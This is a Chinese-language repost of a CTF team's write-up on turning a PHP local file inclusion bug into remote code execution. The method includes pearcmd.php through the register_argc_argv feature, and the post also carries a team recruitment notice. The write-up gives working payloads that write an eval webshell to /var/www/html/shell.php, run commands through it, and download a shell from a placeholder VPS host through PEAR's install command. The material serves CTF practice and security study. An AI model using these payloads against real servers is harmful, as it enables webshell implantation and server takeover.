利用LFI结合register_argc_argv特性进行攻击

admin 2026-03-05 19:38:28 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文介绍了在DockerPHP环境下利用LFI漏洞包含pearcmd.php实现RCE的攻击技术。核心在于利用register_argc_argv配置开启的特性,将URL参数解析为命令行变量,从而调用PEAR的config-create命令写入WebShell。文中详细展示了攻击链构造、具体Payload示例及利用install命令下载恶意文件的扩展应用,具备高实战价值。 综合评分: 88 文章分类: WEB安全,渗透测试,漏洞POC,CTF


cover_image

利用LFI结合 register_argc_argv 特性进行攻击

beee beee

OnePanda-Sec

2026年3月5日 10:00 湖北

招新

OnePanda-Sec

-招新说明-

**招新要求

· 热爱网络安全,喜欢CTF

· 拥有CTF比赛经验,有较好比赛成绩的

· 乐于奉献、热爱分享,愿意提升   自己同时帮助他人

· 时间允许参加各类赛事,服从战队管理与安排

· 各类比赛获奖者、能力出众者视情况考量

· 未参与其他高校联队

· 大一同学视情况放宽资历要求**

联系方式

发送简历于邮箱

· 简历邮箱:[email protected]

利用LFI结合 register_argc_argv 特性进行攻击

1、docker中的pearcmd.php

·PEAR是PHP的配置与应用库管理工具,在很多docker环境或linux的php环境中,默认安装了PEAR。

·pearcmd.php: 是PEAR 的命令行入口脚本。通常位于 /usr/local/lib/php/pearcmd.php。

·关键机制(register_argc_argv): 在 Docker 的 PHP 环境中,默认开启了 register_argc_argv 选项。这意味着,当通过 Web 访问 http://target.com/index.php?a+b 时,PHP 会把查询字符串中的 a 和 b 当作命令行参数传入全局变量 $argv 中。

因此如果我们通过 LFI 漏洞包含了 pearcmd.php,它就会像在命令行里运行一样,去读取 URL 中的参数($_SERVER[‘argv’])并执行相应的 PEAR 命令。就可以通过这个漏洞往网页中写入木马。

2、攻击链构造示例

例题:

<?phphighlight_file(__FILE__);function&nbsp;waf($path){$path&nbsp;=&nbsp;str_replace(".","",$path);return&nbsp;preg_match("/^[a-z]+/",$path);}if(waf($_POST[1])){include&nbsp;"file://".$_POST[1];}else&nbsp;echo waf($_POST[1]);?>Payload:GET /?+configcreate+/&/<?=eval($_POST['cmd')?>+/var/www/html/shell.phpPOST&nbsp;1=localhost/usr/local/lib/php/pearcmd.php&nbsp;(利用题目特定的&nbsp;file:// 协议绕过)

·config-create:PEAR 的命令,用于创建默认配置文件。

·/&/<?=eval($_POST[1])?>:在这里注入恶意php代码,PEAR不会校验这个路径是否存在,而是会直接写入配置文件中。

·/var/www/html/shell.php:这是配置文件的保存路径。攻击者将其指向 Web 目录,从而生成后门文件。

攻击核心:当pearcmd.php被包含时,会读取URL中的参数作为命令执行。服务器在 /var/www/html/ 下生成了一个名为 shell.php 的文件,内容中包含我们的恶意代码。

连接后门:

POST /shell.php cmd=system(‘cat /f*’);

因为上一步已经成功写入了 shell.php,现在只需要直接访问这个文件。

利用 cmd 参数发送系统命令,获取 flag。

完整逻辑是: 利用 LFI漏洞 -> 包含 pearcmd.php -> 通过 URL参数 欺骗 PEAR -> 让 PEAR 执行 config-create -> 在网站目录 写入WebShell -> Get Flag

3、该漏洞的其他应用

pearcmd.php还可以通过install命令从远程服务器下载恶意文件

eg.

?+install+–installroot+&chkroot=public_html+http://vps-ip/shell.php

该命令尝试从VPS下载shell

确定pearcmd.php的路径

常见的路径有 /usr/local/lib/php/pearcmd.php , /usr/share/php/pearcmd.php

或在 phpinfo 页面中搜索 include_path查看PEAR的安装目录

OnePandaSec团队交流群,欢迎网络安全爱好者加入


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:OnePanda-Sec beee beee《利用LFI结合 registerargcargv 特性进行攻击》

评论:0   参与:  0